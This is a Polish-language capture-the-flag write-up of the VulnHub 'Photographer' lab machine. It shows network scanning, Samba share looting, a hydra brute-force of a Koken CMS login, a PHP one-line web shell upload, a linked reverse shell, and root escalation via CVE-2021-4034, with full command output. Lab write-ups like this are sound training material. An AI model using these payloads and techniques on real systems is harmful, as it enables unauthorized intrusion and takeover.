Jako pierwsze wykonałem standardowy skan swojej sieci.
┌[parrot@parrot]─[~/Desktop]
└╼[★ ]$sudo netdiscover -r 192.168.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
15 Captured ARP Req/Rep packets, from 4 hosts. Total size: 900
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.2.1 00:50:56:c0:00:08 12 720 VMware, Inc.
192.168.2.2 00:50:56:f0:ed:fa 1 60 VMware, Inc.
192.168.2.138 00:0c:29:d2:9a:78 1 60 VMware, Inc.
192.168.2.254 00:50:56:f8:70:fd 1 60 VMware, Inc.
Teraz wiem, że IP maszyny to 192.168.2.138
. Zatem przechodzę do właściwego pentestu.
NMap
┌[parrot@parrot]─[~/Desktop]
└╼[★ ]$nmap -sC -sV 192.168.2.138
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-19 03:09 CEST
Nmap scan report for 192.168.2.138
Host is up (0.034s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Photographer by v1n1v131r4
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: Koken 0.22.24
|_http-title: daisa ahomi
Service Info: Host: PHOTOGRAPHER
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: photographer
| NetBIOS computer name: PHOTOGRAPHER\x00
| Domain name: \x00
| FQDN: photographer
|_ System time: 2022-07-18T21:09:38-04:00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-07-19T01:09:38
|_ start_date: N/A
|_nbstat: NetBIOS name: PHOTOGRAPHER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Strona główna
FeroxBuster
Feroxbuster nie wykrył nic nadzwyczajnego.
Strona na porcie 8000
Strona jest postawiona na CMS Koken 0.22.24
. Widzę dokładną wersje dzięki addonowi do Mozilli o nazwie Wappalyzer
.
Searchsploit
Nie możemy próbować z marszu, potrzebujemy być zalogowani jako dany użytkownik.
Feroxbuster na stronie z portem 8000
Tutaj dostałem już ciekawszy output.
┌[parrot@parrot]─[~/Desktop]
└╼[★ ]$feroxbuster -w /usr/share/wordlists/dirb/common.txt -u http://192.168.2.138:8000 -t 50 -d 1
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.2.138:8000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 1
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
WLD 0l 0w 0c Got 301 for http://192.168.2.138:8000/405f364f0ca84474bc832b2151e4cead (url length: 32)
WLD - - - http://192.168.2.138:8000/405f364f0ca84474bc832b2151e4cead redirects to => /405f364f0ca84474bc832b2151e4cead/
403 9l 28w 280c http://192.168.2.138:8000/.hta
403 9l 28w 280c http://192.168.2.138:8000/.htaccess
403 9l 28w 280c http://192.168.2.138:8000/.htpasswd
301 9l 28w 321c http://192.168.2.138:8000/admin
301 9l 28w 319c http://192.168.2.138:8000/app
200 96l 294w 4708c http://192.168.2.138:8000/index.php
403 9l 28w 280c http://192.168.2.138:8000/server-status
301 9l 28w 323c http://192.168.2.138:8000/storage
[####################] - 4s 4613/4613 0s found:9 errors:0
[####################] - 3s 4614/4613 1187/s http://192.168.2.138:8000
/admin
Na pozostałych /storage
oraz /app
dostaję 403 Forbidden
co jest już troche dziwne.
Samba
┌[parrot@parrot]─[~/vulnhub/photographer]
└╼[★ ]$smbmap -H 192.168.2.138 -R --depth 10
[+] Guest session IP: 192.168.2.138:445 Name: 192.168.2.138
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
sambashare READ ONLY Samba on Ubuntu
.\sambashare\*
dr--r--r-- 0 Tue Jul 21 03:30:07 2020 .
dr--r--r-- 0 Tue Jul 21 11:44:25 2020 ..
fr--r--r-- 503 Tue Jul 21 03:29:39 2020 mailsent.txt
fr--r--r-- 13930308 Tue Jul 21 03:22:23 2020 wordpress.bkp.zip
IPC$ NO ACCESS IPC Service (photographer server (Samba, Ubuntu))
┌[parrot@parrot]─[~/vulnhub/photographer]
└╼[★ ]$smbclient //192.168.2.138/sambashare
Enter WORKGROUP\parrots password:
Try "help" to get a list of possible commands.
smb: \> get mailsent.txt
getting file \mailsent.txt of size 503 as mailsent.txt (13,6 KiloBytes/sec) (average 13,6 KiloBytes/sec)
smb: \> get wordpress.bkp.zip
getting file \wordpress.bkp.zip of size 13930308 as wordpress.bkp.zip (12690,1 KiloBytes/sec) (average 12278,3 KiloBytes/sec)
smb: \> ls
. D 0 Tue Jul 21 03:30:07 2020
.. D 0 Tue Jul 21 11:44:25 2020
mailsent.txt N 503 Tue Jul 21 03:29:40 2020
wordpress.bkp.zip N 13930308 Tue Jul 21 03:22:23 2020
278627392 blocks of size 1024. 264268400 blocks available
smb: \> exit
mailsent.txt
Message-ID: <4129F3CA.2020509@dc.edu>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence <agi@photographer.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi <daisa@photographer.com>
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)
Mamy zatem dwa maile, można spróbować przeprowadzić brute force tej strony z logowaniem z tymi mailami.
agi@photographer.com
daisa@photographer.com
Sprawdziłem na stronie formularz z logowaniem. Przypomnienie hasła daje wskazówkę, że takie maile istnieją. Poniżej output dla dowolnego maila i dowolnego hasła.
a poniżej dla obu powyższych maili.
hydra
┌[parrot@parrot]─[~/vulnhub/photographer]
└╼[★ ]$hydra -L emails.txt -P /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt 192.168.2.138 -s 8000 http-post-form "/api.php?/sessions:email=^USER^&password=^PASS^:F=Incorrect. Try again or reset your password." -I
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-19 18:07:00
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 20000 login tries (l:2/p:10000), ~1250 tries per task
[DATA] attacking http-post-form://192.168.2.138:8000/api.php?/sessions:email=^USER^&password=^PASS^:F=Incorrect. Try again or reset your password.
[STATUS] 4269.00 tries/min, 4269 tries in 00:01h, 15731 to do in 00:04h, 16 active
a[8000][http-post-form] host: 192.168.2.138 login: daisa@photographer.com password: babygirl
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-19 18:09:38
Jak się okazało hasłem było słowo babygirl
użyte w mailu. Szczerze mówiąc nie przepadam za takim zgadywaniem. Dobrze, że są odpowiednie narzędzia do takich zadań.
daisa@photographer.com:babygirl
Udało się zalogować, teraz wystarczy wykorzystać exploit.
Zgodnie z exploitem uploaduje plik image.php.png
z kodem <?php system($_GET['cmd']);?>
, a następnie potem należy zmienić nazwę pliku na image.php
. Ja przeszedłem od razu do reverse shella z Githuba https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Po uruchomieniu strony z kodem otrzymałem połączenie.
user.txt
d41d8cd98f00b204e9800998ecf8427e
linpeas.sh -> root
LinPEAS wykrył, że box jest podatny na CVE-2021-4034
.
Wykorzystałem fakt, że na boxie jest Python i wykonałem exploita poprzez Pythona, ponieważ standardowy sposób przez kompilację nie działał poprawnie.
https://github.com/joeammond/CVE-2021-4034
root.txt
root@photographer:/root# cat proof.txt
.:/://::::///:-`
-/++:+`:--:o: oo.-/+/:`
-++-.`o++s-y:/s: `sh:hy`:-/+:`
:o:``oyo/o`. ` ```/-so:+--+/`
-o:-`yh//. `./ys/-.o/
++.-ys/:/y- /s-:/+/:/o`
o/ :yo-:hNN .MNs./+o--s`
++ soh-/mMMN--.` `.-/MMMd-o:+ -s
.y /++:NMMMy-.`` ``-:hMMMmoss: +/
s- hMMMN` shyo+:. -/+syd+ :MMMMo h
h `MMMMMy./MMMMMd: +mMMMMN--dMMMMd s.
y `MMMMMMd`/hdh+..+/.-ohdy--mMMMMMm +-
h dMMMMd:```` `mmNh ```./NMMMMs o.
y. /MMMMNmmmmd/ `s-:o sdmmmmMMMMN. h`
:o sMMMMMMMMs. -hMMMMMMMM/ :o
s: `sMMMMMMMo - . `. . hMMMMMMN+ `y`
`s- +mMMMMMNhd+h/+h+dhMMMMMMd: `s-
`s: --.sNMMMMMMMMMMMMMMMMMMmo/. -s.
/o.`ohd:`.odNMMMMMMMMMMMMNh+.:os/ `/o`
.++-`+y+/:`/ssdmmNNmNds+-/o-hh:-/o-
./+:`:yh:dso/.+-++++ss+h++.:++-
-/+/-:-/y+/d:yh-o:+--/+/:`
`-///////////////:`
Follow me at: http://v1n1v131r4.com
d41d8cd98f00b204e9800998ecf8427e
Root proof